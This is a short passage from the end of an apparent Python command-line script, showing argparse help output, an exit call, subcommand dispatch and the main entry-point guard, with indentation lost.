parser.print_help()
exit(-1)
args.func(args)
if __name__ == "__main__":
main()